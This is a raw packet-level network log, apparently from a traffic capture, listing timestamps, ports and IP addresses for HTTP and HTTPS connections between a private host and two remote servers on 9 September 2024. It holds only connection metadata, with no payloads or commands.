Sep 9, 2024 18:45:07.861897945 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.861913919 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.861918926 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.861928940 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.861951113 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.861979008 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.861998081 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.862013102 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.862029076 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.862036943 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.862044096 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.862055063 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.862073898 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.862091064 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.862116098 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.862131119 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.862215042 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.862229109 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.862242937 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.862245083 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.862261057 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.862262011 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.862288952 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.862338066 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:08.041718006 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:08.041750908 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:08.046633959 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:08.046756983 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:08.274410963 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:08.274475098 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:08.296688080 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:08.301580906 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:08.438045979 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:08.438060999 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:08.438071012 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:08.438225985 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:08.438225985 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:08.440448999 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:08.445405960 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.541385889 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.541461945 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:09.544909954 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.544965982 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:09.545727968 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.545773983 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:09.546653032 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.546700954 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:09.603661060 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:09.603902102 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:09.608500004 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.608864069 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.608875990 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.608911037 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.608916044 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:09.608935118 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:09.608951092 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:09.608977079 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.609014988 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.609020948 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:09.609025002 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.609062910 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:09.609110117 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.609118938 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.609148979 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.609152079 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:09.609180927 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.609190941 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:09.609219074 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:09.609261990 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.609272003 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.609297037 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.609313011 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:09.609324932 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.609333992 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.609345913 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:09.609368086 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:09.609369993 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.609390020 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:09.609392881 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.609420061 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:09.609437943 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:09.613756895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.613827944 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:09.614000082 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.614010096 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.614023924 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.614089966 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.614115953 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:09.614162922 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:09.614180088 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.614224911 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.614229918 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:09.614242077 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.614250898 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.614264011 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.614272118 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.614340067 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.614348888 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.614387989 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.614447117 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.614550114 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.614564896 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.614573002 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.614581108 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.614595890 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.614609003 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.614619017 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.614626884 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.618786097 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.618797064 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.618906975 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.618920088 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.618989944 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.619010925 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.619060993 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.619069099 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.619108915 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.619122982 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.619132042 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.619155884 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.619219065 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.619268894 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.619277000 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.619283915 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.619333982 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.619342089 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.619406939 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.619414091 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.619429111 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.619453907 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.619494915 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.619503021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.619544029 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.619558096 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.619601011 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.619610071 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.619638920 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.619699001 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.619721889 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.619735956 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.619748116 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:09.619760990 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:11.003809929 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:11.003880978 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:11.004386902 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:11.004440069 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:11.007705927 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:11.014038086 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:11.149960041 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:11.150175095 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:11.174242020 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:11.174283981 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:11.174369097 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:11.176601887 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:11.176614046 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.053741932 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.053972006 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.102706909 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.102725983 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.103187084 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.103306055 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.105005026 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.151407003 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.359905005 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.359965086 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.359986067 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.359999895 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.360053062 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.360053062 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.360070944 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.360135078 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.360143900 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.360168934 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.392949104 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.392993927 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.393070936 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.393086910 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.393124104 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.426779985 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.426824093 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.426935911 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.426935911 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.426944971 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.427063942 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.484206915 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.484306097 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.484360933 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.484428883 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.484441042 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.484512091 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.484513044 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.484513044 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.486232996 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.486274958 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.486308098 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.486320972 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.486373901 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.486373901 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.488549948 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.488590956 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.488658905 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.488666058 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.488698959 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.488698959 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.547898054 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.547944069 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.548046112 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.548046112 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.548058987 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.548126936 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.577114105 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.577156067 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.577208042 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.577223063 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.577256918 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.577256918 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.578198910 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.578243017 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.578269005 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.578278065 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.578296900 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.578325987 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.579139948 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.579180956 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.579206944 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.579215050 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.579243898 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.579243898 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.581074953 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.581114054 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.581180096 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.581180096 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.581188917 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.581223965 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.582089901 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.582134008 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.582184076 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.582184076 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.582190037 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.582240105 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.611797094 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.611838102 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.611907959 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.611917019 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.611953974 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.611953974 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.640393019 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.640438080 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.640546083 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.640546083 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.640556097 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.640592098 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.669337988 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.669383049 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.669475079 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.669485092 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.669547081 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.669819117 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.669859886 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.669903994 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.669903994 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.669912100 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.669953108 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.670234919 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.670275927 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.670314074 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.670326948 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.670458078 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.670670033 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.670717001 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.670778036 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.670783043 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.670865059 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.670865059 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.673497915 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.673536062 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.673748016 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.673754930 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.673805952 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.699124098 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.699162960 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.699242115 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.699259043 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.699342966 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.704507113 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.704547882 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.704602003 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.704611063 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.704657078 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.704657078 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.733541965 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.733587027 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.733628988 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.733639956 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.733689070 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.733689070 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.762034893 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.762079954 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.762154102 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.762154102 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.762161016 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.762247086 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.762509108 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.762551069 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.762614965 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.762614965 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.762620926 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.762656927 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.763947964 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.763988972 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.764038086 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.764038086 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.764043093 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.764091969 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.766385078 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.766426086 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.766468048 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.766468048 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.766474962 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.766488075 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.766515017 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.767513037 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.767554045 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.767580986 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.767585993 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.767622948 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.767622948 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.789681911 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.789725065 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.789767981 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.789776087 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.789800882 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.789865971 CEST	49717	443	192.168.2.5	198.54.120.231
